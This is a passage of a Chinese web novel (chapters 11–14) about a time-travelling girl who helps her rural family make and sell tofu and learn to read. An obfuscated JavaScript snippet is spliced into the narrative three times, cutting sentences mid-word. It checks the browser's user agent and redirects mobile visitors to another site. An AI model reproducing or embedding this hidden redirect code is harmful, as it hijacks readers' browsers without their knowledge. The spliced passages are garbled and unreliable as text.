可惜现在条件不允许,胡椒之类的在当下可是只有达官贵族才频繁使用的名贵香料。但是辣椒嘛,只要系统在手,这些东西迟早都会有的。 就在一群孩子吃的津津有味的时候,没想到林阿奶他们已经从地里回来了。 这时候林只只他们才惊觉,原来已经快已时了,家里人要做饭了。 这下好了,门口的林阿奶和钱氏马氏等人与门内的林只只等人面面相觑,看着院子里模样奇怪被压着的麻布还有林义他们端着的碗,林阿奶他们震惊得话都说不出来了。 反应片刻,钱氏直接冲过来,就要抓住林大丫开骂。 林只只反应快地挡在了前面,同时,一边快速地说:“阿奶、大伯母,我们这是在做豆腐。” 一通解释后,这下换成林家人都怔愣了。恰巧林阿爷他们也回来了,林二郎还乐呵呵的夸自己女儿能干呢。 林只只乖乖的坐在板凳上,一声也不敢吭,但是心里已经刚才说的早就想好的措辞默念了好几遍,确认没有什么漏洞,就等着林阿爷发话呢。 瞅着一群人像开家庭会议时一样坐着,林阿奶没好气地骂到:“一个个看着干嘛?这大中午还不去做饭,等着喝西北风啊!” 林只只心里赞道,阿奶还是威力不减啊! 婆婆都发话了,钱氏和马氏悻悻的去了厨房,钱氏临走前还不忘扯了林大丫一道。 “所以你说这是你在梦里跟那白胡子老爷爷学的?”沉默半晌的林阿爷突然开口问道。 “嗯,其实还有好多事情,但是我一时半会想不起来了。”林只只继续胡诌,想着一劳永逸,干脆话说得再模棱两可一点。 11. 第11章 “阿爹,二丫不是说,这十多斤豆腐可是只用了两斤多的豆子做的啊。那我们可以拿去卖,这不是很赚钱吗?”林三郎脑子一转。 林三郎抓住了全家人都没关注的重点。 见其他人不再关注她,林只只此时只想非常感谢三叔的转移话题。 其实不止十多斤,还要除去他们刚才吃的豆花呢,只不过林只只没有打断三叔说话。 现在快要入冬了,地里没有什么活儿干,以往他们回去县城里找一些散工干,一个月下来也能攒几个钱。 但是一听见这豆腐成本如此低,连林大郎心思都不禁活络起来。 以前在县城里倒是见过豆腐这玩意儿,但是这种手艺都是传家安身立命的本钱,是不会轻易教给外人的,所以这种生意倒是少,那他们是有市场的。 “这豆子到处都是,不值几个钱。我们做成豆腐,不是可以赚很多钱了!”林三郎激动得脸都红了。 林只只暗喜,看来三叔是个聪明人嘛,这下好了,不用她出头提醒了。 话头一开,于是大家都七嘴八舌讨论起来了。 “我们又没有做过这种生意,不太好吧?”林大郎犹豫不决。 “那有啥,其实和做木工差不多。”反正林二郎是支持自己闺女的。 “那我们离县城这么远的路……”林仁觉得太不方便了,这豆腐看起来就易碎不好保存。 “推板车去呗。”林义反驳说。 他们家是有一辆板车的,还是林二郎给人做工,用两百文把那个旧的淘换回来的,不过也很贵就是了。 至于人力,他们从来没有考虑过,反正虽说重了些费力气,可是穷苦人家最不缺的就是力气。 最后,林阿爷直接拍板,“既然决定去做,那你们就好好准备,过两天就去试试看吧。” 家庭会议结束,正好赶上吃饭。 饭后,林只只决定先得教他们做一下豆腐,可惜家里现在没有泡好的豆子了。 所以她只是把过程和理论知识说了几遍,可是光有理论没有实践还是不行的,这次林家决定先泡十多斤豆子,到时候做出来也有八十多斤豆腐试试水。 “对了,阿奶,这个豆腐放不了几天就会酸的,最好今天就吃了吧。”最近天天吃那些菜,现在林只只觉得豆腐都是无上美味儿了。 她想今天晚上吃是有私心,但是豆腐放不了多久也是实话。 林阿奶不解地看着她:“那你一次做这么多干啥呢?”看着林只只心虚的模样,她懂了,怕是手生,没搞明白呢! 林只只语塞,这也不能怪她啊!好多年前做过一次,也亏得她还记得步骤呢。 “算了,你给老大夫捡两块去吧,上次老二家的多亏了他了。”林阿奶对林只只说。 林只只才反应过来,原来是上次那个老周大夫啊,“哦,好。” 怕被弄碎了,林只只还特意在篮子里铺上一层荷叶才放进去两块豆腐。正准备出门了,林小四和林三丫也跟在她屁股后面要去。 这时候林阿奶拉着林只只,给塞了一把铜钱,“顺便买两斤豚肉回来。”便头也不回地进去了。 恰好卖肉的胡屠夫家铺子就在东头,来回会路过。 “诶……”林只只高兴得眼睛都眯起来了,脆生生地应道,太好了,终于有肉吃了。 秋天了,路边已经光秃秃的没有什么风景可以看,但是林小四和三丫他们俩还能在路边扯一把野草在手里玩儿。 “阿姐,给你……”林只只才发现林小四手里拿着一把狗尾巴草。 还好竹篮并不重,她一手把篮子跨在手臂上,一手接过,笑眯眯地给林小四编了一只兔子。 林小四和三丫目瞪口呆的看着那根野草在林只只的手里几折几折就变成了一只兔子。 “阿姐,我也要!”三丫羡慕地看着林小四手里的兔子,蹦起来说。 “好好好,阿姐给你做!”林只只又拿过一株草,三下五除二就做好一只。 几人叽叽喳喳的说话,没一会儿就到了老大夫家门口。 “老周大夫,您在家吗?”林只只礼貌的敲了敲门,这次出来接待的还是上次那个大夫的大孙女周兰。 “是二丫啊?你们这是……”周兰要比林只只大上好几岁,虽然不是一起玩的那个圈子,但是作为最受欢迎的大夫家里的孩子,村里的人她都认识。 “兰姐姐,我们就不进去了,这是我们一点心意,多谢老周大夫上次救了我娘。”这是林只只真情实感的想法,因为就算她有药,可她也不会接生啊。 周兰习以为常,村里的人家时常会送一些家里的东西感谢她祖父。 起初他们家也拒绝过,但是病患家人执意要送,而且送礼之后反而他们好像更轻松,为了他们放心,家里也会收一些不贵重的东西意思一下。 此时她温柔地对林只只几人笑了笑,邀请道:“你们进来坐一坐吧,喝口水。”接过林只只手里的小篮子,就作势带他们往里走。 “真的不用了,兰姐姐,我阿奶还交代我们买些东西回去了。”林只只不好意思地说,诶,拒绝别人实在是太麻烦了。 周兰听见这话也不再强留,但转身进了院子,不一会儿就抓着两把红枣出来,这也是一味药材,平时晒干了也可以做零嘴吃,她硬塞给林只只几人,笑眯眯的说道:“没事儿,不值多少钱,你们带回去吃。” 林只只觉得没有来送东西,反而还往回带的道理,但是一番推攘之后还是接了。他们还要转回去买肉了,不能耽误太久。 周兰提着篮子进屋,看见祖父正在看医术,显然,他也听见了门口的动静,他头也不抬的问道:“谁啊?” “是林家的那个二丫头,送的一些……”周兰现在才打开篮子上盖着的荷叶,有些诧异地接着说:“是豆腐。” 村里多是送些鸡蛋或是米粮的,这还是第一次有人送豆腐呢。 老周大夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024937|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也想起来那天那个女孩儿,“原来是那个丫头啊,是个好孩子。”老周大夫抚着白胡子笑道。 而另一边,林只只他们也刚好到了胡屠夫的肉铺。 胡屠夫一脸横肉,刀一下子插到砧板上,凶神恶煞地对站在铺子前的三个小家伙说:“要什么?” 就这一句话,本来就吓得腿打颤的林小四和三丫一下子就躲到林只只的身后去了,缩着两个小脑袋悄悄看。 其实他们并不知道,林只只的小身板根本挡不住,这些动作被胡屠夫一览无余。 “要两斤五花肉!”林只只又补充道,“豚肉的。” 胡屠夫听了,麻利的用刀割下来一块放到称上,“刚好,二十文。”他又随手割下一块添上。 等回到家,林只只还很茫然,她可不承认自己是被吓到了,一定是因为林小四他们情绪感染到了她。 不过可惜的是,她转了一圈,仔细观察过了,并没有系统发布任务要找的那种有着圆形身体和八只短短的腿的草履虫蛛。 她小时候的记忆里明明在屋顶和窗框上很常见啊,难道是时代造成的差异。 当然,因为心疼那两千积分,她用二十积分在交易所上发布信息询问了这种情况。 【宿主,你的任务有人接了。】刚到家,系统就提醒了。 林只只马上进去翻看答案,瞬间郁闷了。 【代号10086:“据题主所提供的信息可以了解到现在是秋天,而这种蜘蛛通常在春天和夏天经常出现。”】 林只只有点沮丧,唉,原来这么简单,错过了就算了,还浪费了积分。看来只有等明天的五天一次任务更新了。 回到院子,林只只发现林阿奶她们在把剥下来晒干的麻皮抽丝剥茧,卷成一个个麻线球,方便到时候可以拿来织麻布或纺线,制绳索和织麻袋。 她就好奇地蹲到旁边看,现代因为机器的发明,已经可以更高效的生产更高质量的布匹了,颜色材质花样种类繁多,但是还是不得不佩服古代劳动人民的勤劳和智慧。 “你们也不小了,看着好好学学,以后缝补个衣服啥的。”林阿奶边卷线边说道。 “是啊,你们阿奶那一手麻布蚊帐真是一绝,结实耐用,几十年都用不烂。”马氏笑眯眯地拍马屁说。 林阿奶笑了一下,许久不做了,还记得那时候她在家架起织布机,很细心地拉麻线,再耐心地一针一线织起来,有时候一忙就是一整天。 记忆和现实中的人影重叠,林阿奶隐去伤感的情绪,谆谆教诲:“你们可别小看了这手艺,许多人还做不来呢。祖宗的东西可不能忘了本喽。” 林只只被说得好奇非要上手试试,林阿奶也笑呵呵地让他们做。 午日后暖暖的阳光照在人身上有些昏昏欲睡,一大家子在院子里欢声笑语,热闹得不得了。 林只只再度被麻线搞得手忙脚乱,气闷耍赖皮不干了,倒是林义和林礼几个男孩子做的又快又好。 12. 第12章 “算了,阿奶,我去做饭,看今天晚上我给你们露一手。”林只只决意要扳回一局,对于自己的厨艺她还是信心满满的。 “去吧去吧,让你大丫姐帮你,可别把房子给点咯。”林阿奶思索半刻,面上嫌弃地冲她挥挥手,反正在这里还麻烦别人给她捡烂摊子。 六岁多了,做饭简单总归搞不砸。 半刻钟,林只只就遇上了麻烦,她可不会用土灶台啊!只好腆着脸向林大丫求助了。 还好家里是有铁锅的,以前主要以煮、烤、蒸为主,炒菜很少见。 因为生产力的限制,古时一年能产出的铁很少,连军队的铠甲兵器都不够用,直到前朝冶铁业发展快速,铁的产量大大提高,这才有了一般人家也能用上铁锅。 灶下生大火,林只只从油罐里刮出一小勺儿猪油。现在的植物油并不常见,以食用猪油居多。 等油热腾起来,她就将早就处理好切成丁的五花肉倒进去一块儿翻炒,待得肉质表面染上薄薄一层金红,再把豆鼓酱、蒜片一并加入锅中。 这时候,往豚肉上再浇小半勺黄酒,锅沿“轰”地腾起一团烟来,嗤拉作响,浓烈的肉香扑面而来。 见差不多了,林只只加入半瓢水,再舀一勺儿酱料,这样就不用再放盐了。等水咕噜噜的烧开,她再把豆腐切成一小块一小块的放进去,盖上锅盖炖一会儿就好了。 家里人多一个菜显然不够,林大丫早已熟练地扯了几窝菜蔬洗净备好,哪里能舍得用油炒,就着炒完肉的锅油煮成一锅汤。 香味已经飘得老远,令院子里的人都忍不住往里张望,看到底做的是什么好吃的。 “阿奶,可以吃饭了。”林只只快手快脚地用盆把饭打出去。 为了配合这道大菜,她特意蒸了粟米饭,一粒粒黄澄澄的,在烛火当中格外好看。 当然,是经过了林阿奶的请示后同意的。 虽然不是白米饭,好歹也是干的不是,林只只心满意足地想着。 菜装盘之后,她又撒了一小簇葱花,热气一激,香味扑面而来,油汪汪,红亮亮,让人原本就饥肠辘辘的肚子,霎时好似又空了两分。 饭菜上桌,终于等到林阿爷示意可以吃饭了,林义迫不及待拾起筷子,夹起一块儿豆腐和着碎肉塞进嘴里,细品了品,也不说话,伸手就夹第二块。 桌上的人也不多话,一筷子一筷子地夹,如果忽略速度的话,林阿爷已经看似很优雅地在夹菜了。 炖得久了,豆腐上煮开一些小孔,林只只用筷子一夹,里面的汁水就噗嗤噗嗤地往外冒,她吹了吹,小心的咬了一口,混着肉碎和大酱熬成的汤汁,咸香带着甘甜,回味无穷。 林只只吃得眼睛发亮,她想的是肉实在是太好吃了,而其他人觉得豆腐也吃着不错。 林义把碗里的汤汁都喝干,心满意足地一抹嘴巴,发愿道:“要是能天天过这样的日子该多好呀。” 几个小的也是忙不咧迭地点点头表示自己很赞同。 钱氏也吃得很满足,闻言瞥了他们一眼道:“大白天做什么梦呢,天天这么吃,家都得被你们造没了。” 一屋人吃饱喝足,林阿爷就对他们说:“今天才泡的豆子,明天卖是来不及了,就明天晚上做好了,后天去松阳镇试一试。” 松阳镇位于长兴村东面,比到县城要近一半的路。 长兴村只有不到三十来户人家,近两百口人。而松阳镇近百多户,人口近千,镇上还有市集、食肆、药堂和学堂等等。 每逢三天一次的集会更是热闹的不得了,方圆十里的人都会带着积攒的物品来交换自己需要的。 有时,镇上比县里还热闹一些。 等大家收拾完了东西,林阿爷才宣布一件他这几天翻来覆去考量许久的决定,他深切感受到,因为林二丫的原因,家里变得不同了,兴许以后真的会有机会…… “我决定教剩下几个孩子读书。”敛去心中思绪,他定定开口。 原来家里就林仁一人读书学字,其他几个孩子还小,整天在外面玩,根本坐不下来看书,这也是林阿爷先前没有教他们的原因之一。 一阵沉默,连林阿奶都不敢相信他的决定。 “万般皆下品,惟有读书高。”这是即使是贫寒之家都懂的道理,但是读书有多难,她前半辈子已经体会到了。 以前的林家穷啊,她刚嫁过来那会儿,家里差点连饭都吃不上。 “读书要束脩、笔墨纸砚、赶考要盘缠,做官人际关系要打点……这些钱哪里来?”林阿奶不太支持这个决定。 但是这个决定深深打动了林只只,没错,士农工商,只有拥有更多的财富、更高的地位,才能保护自己在意的人。 “没错,阿爷,我支持你。”林只只打破沉默。 接着几个儿媳妇也表示同意,毕竟哪个做母亲的不希望自己的孩子出人头地,官位加身。 就算读不到那个地步,以后有了见识又识字,至少可以做个账房或者教书先生。不必再像他们这一辈人一样面朝黄土,背朝天的在地里面刨食了。 林阿爷看了几眼林只只,心下欣慰:“放心,现在先由我来给他们启蒙,我们家的情况你们也是知道,谁能去读书,值不值得全家人供,得看他们表现了。” 听到暂时不用花费,林阿奶也松了口不再管。 “对了,大丫二丫三丫,你们也大了,我就给你们取个大名吧。”林阿爷看着几个孩子道。 “巧心慧思,大丫你心思细腻,但是过于内敛,那就取一慧字吧。”林慧看着阿爷慈爱的眼神点了点头。 唉,林阿爷心下叹气,大儿媳的所作所为他也看在眼里,但是他也不好插手,只希望这个孙女以后能自己能干点。 他又看向林只只,一边回想着那个道士说的话道:“聪明伶俐,那既然你弟弟取了智字,那你挑一个知字也不为过。希望你以后行之愈笃,知之益明。” 灵敏慧秀,林知这孩子他再满意不得了。 林只只能感受到林阿爷语气中寄予的深厚期望,但是她以前的名字也是外婆取的,舍不得,于是一咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024938|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙:“阿爷,我想要一个小名!” 林阿爷颔首,在农民甚至是贵族都会在孩子未长成时取个贱名,这样好养活。 “那就叫只只吧!”林只只假装歪着脑袋思考了半晌。 林阿爷以为是“知”字,只摇头笑笑她小孩子心性。 反而是林二郎和罗氏反复念了几遍,笑着夸:“好好,这个名字好听。只只,多可爱啊!” 轮到林三丫,她还小懵懂不知。 “既然你的哥哥姐姐们都寓意机智聪敏,那希望你也能一样,取一敏字吧。明天起都跟着我读书吧”林阿爷轻柔地摸了摸她的头。 还没等大家想明白,林阿爷就疲惫地挥挥手,让大家回去了。 林慧、林义和林礼按捺不住内心的激动,他们早就羡慕大哥能读书了。 其他林智林敏则是懵懂,不知道这意味着什么,只觉得好玩儿就行了。 天已经彻底暗下来了,各房都梳洗好准备睡觉了,林小四打了一个哈欠,径直走进屋里,绕过竹屏进到自己的小隔间里,踢掉鞋子,爬上床就睡,一气呵成。 林只只对林阿爷准许大家一起读书只诧异了一瞬间便接受良好了,毕竟女孩儿读书在现代是理所当然的事。 而且对于她来说,只有好处没有坏处,毕竟现在自己是个文盲。 太远的事儿不必多想,她一头扎进系统准备再攒点积分到时候换些种子,来年春天不至于两手空空。 反而是林二郎他们在琢磨这件事,“读书就读书吧,女孩子识字明理也是好事儿。” 罗氏拍拍抱在怀里的孩子轻声哄着,“这样也好……” 她本想两个孩子再长大一些就教他们识文断字的。 大房也还有动静,农家人节约,晚上是不会点油灯的。 钱氏就着黑对躺在她身边的林大郎抱怨道:“你说大郎二郎就算了,她一个小丫头片子读什么书,家里的活儿不干啊?再过几年也要说亲了,一天天……” 他们虽然不知道具体的价钱,但书啊,笔啊,墨啊,纸啊的一听就很贵。 她说了半天,没听见身边的动静,还听到林大郎的呼噜声,实在气不过拧了他一把。 三房马氏和林三郎也在说话,“你说,咱们爹是认真的吗?” “你担忧什么?大嫂二嫂都没说什么。”精明的林三郎倒是理解,“这叫家族投资,到时候无论是哪个读出来了,其他兄弟也能得到帮衬,还不敢说偏心。” 马氏一向听丈夫的话,点点头也不多言。 漫漫长夜,众人心思各异。 林只只都不知道自己是什么睡着的,反正一夜无梦,得了个好眠。 秋天的早晨,风微凉。 太阳从堂屋的窗棂照进来,带着一丝干草和露水的味道。 从今天早上起,他们就跟着识字了,不得不说,林阿爷效率很高啊。 少年音夹杂着儿童略稚嫩的朗读声回荡在院落,因为林仁已经跟着阿爷学过启蒙书《千字文》,所以是他先领着弟弟妹妹们读书。 13. 第13章 一日之计在于晨,林知一大早就被拉起来读书了,没想到前世受过高等教育的人现在竟然变成了文盲。 虽说繁体字连在一起她连蒙带猜还是能懂,但是拆开来认,就变成字认识她,她不认识字了。再说,认识有什么用,她又不会写,知识掌握在自己手里才最保险,不识字去哪都不方便。 所以林知很认真的在学习,林小四一看阿姐这么积极,所以声音也吼得老大了。 林义看着自己还不如两个小孩儿,也不甘落后地认真学习。 你追我赶中,林阿爷暗自满意地点点头,虽然不够聪明,但是勤能补拙,笨鸟先飞嘛。 就这样,林知他们在读书中度过了早晨,接着该干活干活,计划晚上再回来认字。 林阿爷手里有一些他以前自己用过的书,不过都只有一份儿。而且家里笔纸也不够这么多孩子用,所以他们得在沙地上用棍子比划。 中午饭吃过后,林知就准备教林阿奶他们做豆腐,步骤倒是简单,没有什么技巧,就讲究一个熟能生巧。 不过不同的人在点豆腐这一步还是会有细微的差别,技术不行的豆腐散碎不能成型或是卤水太多,做出来不够好吃。 令人意外的是,家里做豆腐豆花最好的竟然是林慧,只是一样的步骤,就算没有计量工具,也能精准的把握最好的度。 她做出来的豆腐嫩而不散,劲道不至于过老,比林知做的还好,所以家里一致决定以后的豆腐都交给她来负责点卤。 其实林知还想过做豆腐皮、五香豆腐干、姑苏糟豆腐、臭豆腐、豆腐乳什么的,但是略一思索便放弃了。 因为她毕竟不是专业,肯定比不过那些老字号,而且这些投入的时间、成本太多,不适合林家现在的情况,所以就打消了这个念头。 明天就是三天一次的集会,他们连夜一起准备好了近一百斤的豆腐,一层麻布隔开一层装在两个半人高的木桶里,明天天没亮就用板车推着去。 在林知的死皮赖脸下,她也得到了连续多日没有出门,终于可以出去放风了的机会。 次日,天还没亮,林知就被罗氏从床上捞起来。 “只只,你再不起来,大伯父他们就要走了,等会儿不带你去了哦。” 林知一听,只能认命地从温暖的被窝里爬起来,她叹口气,唉,天气越来越冷了,还是被窝里舒服啊! 钱氏给他们装好干粮,就是粗面做的饼子,一人灌了一竹筒豆浆挂在篓子上。 在林知的要求下,他们家几乎明天都喝这什么营养的豆浆,“还是热的,你们等下在路上喝,也暖和一下。” 豆子含有高含量的蛋白质,对于底子不太好的林家人们,的确是一种补充营养的好东西,关键是成本低。 林知煞费苦心才说服众人。 这次还是林大郎和林三郎推车,但是是林义和林礼帮忙拉,剩下林慧、林知和林智林敏跟着走。 林仁要跟着林阿爷读书,最近的学习任务更加重了,所以便没有来。 林大郎把两个小的抱起放在板车上,要来拉林知时却被拒绝了,他笑呵呵地说:“这有啥,以前我们几百斤的粮食可都拉得动,就你们几个小奶娃不在话下。” 林知看着明明年纪不大的大伯父却在常年的干重活下,背都有些佝偻,看起来比本来这个年纪的人老了快十岁,心下微酸。 最后,她还是被一把抱上去了,不过还好,不到半个时辰就能到镇上。 “大伯父,你们喝点豆浆。”林知递给他们竹筒。 “怎么,不叫三叔喝啊?”林三郎打趣道,怕小孩子脸皮薄,不好意思,在林知的眼光下,他连忙找补,“哈哈,逗你呢!” 插诨打科中,他们不知不觉就到了镇上,林三郎轻车熟路地把板车停在市场里,刚好天也亮了。 揭开桶上的麻布,把豆腐露出来。林大郎和林三郎快手快脚地把东西准备好了。 林知几个人蹲在一旁说悄悄话。 “你们有钱吗?”林知探头探脑地问。 “你又想干嘛?”林义一脸茫然地看着她。 “阿姐,我有!”林智宝贝似的从里衣兜里掏出三文钱,这还是他爹给的,攒了好久才有的钱。 “我们也有……”林智和林敏各掏出三文钱,他们爹大方,有时会给点零花钱用,虽然这点钱也干不了什么。 于是“唰”的一下,四双眼睛紧紧盯着林义和林慧,林慧察觉到大家都在看着她,脸红得捏紧了衣角。 好了,大家一看她这个样子,不用说也知道了。 林义扭扭咧咧掏出两文钱。 大家没想到他竟然比弟弟妹妹们还少。 唉,不行啊,大家都好穷。 可是家里的生意也是大人们分钱,叫了小孩子帮忙也不会给他们工钱,二房三房还好一些会给零花钱,大伯母那儿手才紧……或许可以把他们组织起来,赚一些钱了。 生活不易,林知叹气。 “你们这卖的是豆腐吗?多少钱啊?”一个提着菜篮子的大娘上前问道。 “大姐,你看看,两文钱一大块,我们家的豆腐都是上好的豆子,昨夜才磨的,保证新鲜。”林三郎笑嘻嘻的招呼来客,他已经提前打听过了,其他家也是这个价钱。 镇上的人还是家有余产,几文钱还是舍得,一大块豆腐可够家里好几口人吃呢。 “行吧,给我包一块。”她从兜里掏出两文钱来。 一旁的林大郎麻利的用荷叶包起来一块儿,大娘看着份量明显比别人家要多的豆腐,心里更高兴了,施施然的走了。 接着刚才还在观望的人也陆续来买,虽说一样的价钱,但是份量多一些,这点便宜大家心里当然不想错过。 看着家里的生意逐渐走上正轨,林大郎和林三郎一个收钱一个打包,井然有序,完全忙得过来,所以林知他们也待不住了。 “大伯父,我们想去市集上看看。”林知趁着林大郎终于有空歇一会儿了,她扯了扯他的衣角。 “你们去吧,林义,看着点弟弟妹妹们,别走丢了。”林大郎看着几双渴望的看着他的眼神挥挥手,反正镇上就这么大,也没什么好玩的。 一经同意,林义疯起来,一下把林敏抱起来,冲着人群就嗷嗷叫的跑去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027770|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林智和林知也哇哇的大叫着跟上。 林慧看了看她爹和三叔,磨磨蹭蹭的也撒丫子跑了。 突然的声音还把林三郎给吓了一跳,他笑骂一声,也由着他们去了。 松阳镇就那么大,出了市场就是主街,但是在很少出门的林义他们眼里也足够热闹了。 每逢三天才一次的集市,各种吃的喝的玩的应有尽有,各个摊贩都在用力招呼着客人,叫喊声,谈笑声,连绵不断,不绝于耳…… 只可惜大家都囊中羞涩,不过看一看也挺满足了。 几个人没多久就把一条街给逛完了,然后他们集体在一个卖糖葫芦的小贩面前停下来了。 一个个山楂圆滚滚红彤彤,外面裹了一层亮晶晶的糖衣,仿佛在阳光下熠熠生辉。 林智和林敏两个小孩儿不争气的咽了咽口水,酸酸甜甜的山楂也,想起来就好吃。 他们还是过年的时候才吃过一次呢。 小贩眯了眯眼,虽然前面几人看起来不像是买的起的人,但还是和善的问:“小郎君和小娘子们要买来尝尝嘛?只要五文钱一串。” “一大串,小的三文。”他又补充道。 林慧咋舌,“这么贵?” 再添一文钱都能买四个鸡蛋了。 林知表示理解,因为现在的红糖可是比麦芽糖还要贵一些呢,这糖葫芦外面又要裹那么多糖。 但看着几个弟弟妹妹馋的样子,小手一挥:“来两串儿大的。” 她刚才数了数,一串儿有六颗,他们六个人正好男孩儿一串儿,女孩儿一串儿,每人可以分到两颗。 “好了,给你,小娘子拿好呐。”没想到这几个孩子还真能买,小贩喜开颜笑地专门挑了两串儿最大的给他们。 林知从兜里掏了十文钱出来,出门前,她爹娘恰好给了她十文钱,说喜欢什么想吃什么就买。这年头苦了啥也不能苦了孩子,她看着近来眼神中多了些亮光的“弟弟妹妹”们。 “嗯,再说,钱都是赚出来的可不是省出来的。”林知心思飘得老远,“是吧,老六。” 系统默然:【……】 林知接过糖葫芦来,正准备分给几人。 “阿姐,这个给你。”林智掏出两文钱来放在林知手上。 还没等林知反应过来,林礼和林敏也各拿出两文钱来,“对啊,二妹,一起吃的糖葫芦可不能让你一个人掏钱”林礼也坚持道。 最后林义也不好意思地挠挠头掏出他仅有的两文:“对啊,该是我这个做哥哥的请你们吃。” 倒是林慧越来越不好意思了。 看着大家一脸希望她收下的表情,林知“噗嗤”一声笑出声:“好了,那我也不见外了。” 她也不忘安慰林慧:“那大姐姐以后就做更多好吃的给我们吧。” 林慧见林知调皮的冲她眨眼,心下感激,那点窘迫倒没有了。 虽然不是什么大事儿,林知心里却有一股暖流流过。 糖葫芦一入口,外衣薄脆,一咬就碎带着丝丝甜意;再往里,酸味中和使甜不那么腻,酸甜软糯甜到心里,大家吃得表情都很满足。 14. 第14章 玩得差不多了,林知他们又回到市集,恰好林大郎他们的豆腐也要卖完了。 打包好最后一份儿,林三郎累得都不想抬胳膊了。 看见几个孩子终于野回来了,他得意地摇了摇手中的钱袋:“这次可是大丰收了,虽然没有数,但是看量也不会少。” 林智和林敏见机冲上去大声的夸赞:“哇,三叔/爹,你好厉害啊!” 林知和林慧就在一旁憋着笑意看着他们。 “多大人了,还跟个孩子一样闹,还不快来收拾东西回去了。”林大郎实在看不下去他那嘚瑟样了,一巴掌拍在他后脑勺。 “诶嘿,大哥,孩子面前留点面子留点面子。”林三郎一副求饶的模样,收敛不到半秒,他又开心的说:“走,饿了吗?三叔请你们吃包子!” 林知点头,早上没吃早食就出来了的,而且现在已经接近中午了,能不饿吗? 这个时候等他们赶回去也已经过中午了,又得在路上吃干粮,干巴巴冷冰冰的一点也不好吃,别说她了,连林大郎也不喜欢。 一行人推着板车停在了包子铺前,林知看着香喷喷的包子咽口水,好久没有吃过了啊! 虽然几个孩子刚才也吃过糖葫芦了,但是谁又能抵挡白胖胖油乎乎的肉包子呢?他们几乎要对着蒸笼留下口水了。 “老板,各来八个肉包子和素包子。”林三郎豪气地说,引得林大郎频频看他,但是最后也由着他去了,家里孩子这段时间也挺辛苦的,买点好吃的补补吧。 再说了,现在有了赚钱的路子,以后还有机会。 包子很大,有素包子和肉包子之分,素包子是一文钱,肉包子是三文钱两个。 刚好是二十文。 摊主早留意他们了,毕竟现在离午时还有点儿时间,这个点吃东西的人不多。他们又一大群人围着,不知道的还以为不是买东西而是打架呢。 他麻溜地用干荷叶给他们打包,笑着送走了这群人,还抹了抹头上并不存在的虚汗。 林知他们几人一手一个包子,刚咬一口,白面外皮软乎乎的热腾腾的,里面的肉鲜香美味,高兴得几人都眯起了眼。 回到家时,已经过了午时了,果然林阿爷他们已经吃过饭了。 几个小孩儿吃饱喝足蹦蹦跳跳地窜进院子,精力好得不得了。 当然林三郎也兴奋地提着钱袋子跑到堂屋,开心说道:“有赚头,这可是门赚钱的好路子啊!” 板栗是一次性得了钱,以后有没有也只能等到明年秋天再说,可这豆腐只要有豆子就天天有生意啊,怎么不叫林三郎开心。 林阿爷他们显然还在等他们回来,见老三这幅上蹿下跳的德行,林阿爷敲了敲手中的旱烟锅:“德行,还不如几个孩子稳重。” “他们懂什么?”林三郎不敢忤逆自己阿爹,只敢小声嘟嚷,但是他没有纠结这么多,一边把钱给倒在桌上,一边绘声绘色的讲着今天发生的场景。 因为一般买菜的人都是用的铜板,所以一大口袋的铜钱堆在一起还是挺令人震撼的。 反正林知是震撼到了,只不过她心里想的是,还是现代方便,不说网上支付,就是纸币也比背着一大袋铜钱出去购物要好得多吧。 一群人迫不及待地开始数桌上的铜钱,几个小的还不怎么会数数,数到几十就掰着手指头给忘了,所以倒是林知和林仁成了主力。 “这边有七十七文。”林仁话音刚落,林知就接口道:“我这里有四十三文。” 林仁诧异的看了一眼林知,林阿爷也欣慰的看了一眼林知,他暗想:“果然变得聪明伶俐了。” “所以一共有一百二十文,除去一斗才六七文的豆子,我们可要赚好多。”林三郎急语道。 而且今天还有一些人没有拿钱买,而是用东西换的。 林大郎他们也挑挑拣拣收了一些家里需要的,这些还没有算到铜钱里呢! “这只是第一天,大多数人都是看在我们家份量比别人多一些才买的,说不定等他们吃了还是会下意识的选择老店。”林知理智分析着。 “一百多文,近四天的工钱呢!就算一个月只做每隔三天的生意,一个月也得有一吊钱啊。”林三郎循循诱导。 钱氏几个妯娌也心动不已。 一群人齐刷刷地看向林阿爷。 “那你们就各家轮流搭伙,隔着几天去镇上或者县里吧。”林阿爷短暂思考后决定道。 “这几天卖豆腐,过两天也得把板栗卖了,这钱就暂时不分了。”林阿奶把所有钱都给收回屋去了。 林知怏怏不乐地回了屋。 不行啊,家里的财政大权又不在她手里,虽然她现在用钱不多,但是感觉怪不方便的,找其他方式赚钱迫在眉睫啊! 可惜,接下来的几天林知白天都忙于识字读书练字,晚上或者抽着时间要去系统刷积分,并没有时间去想那些东西。 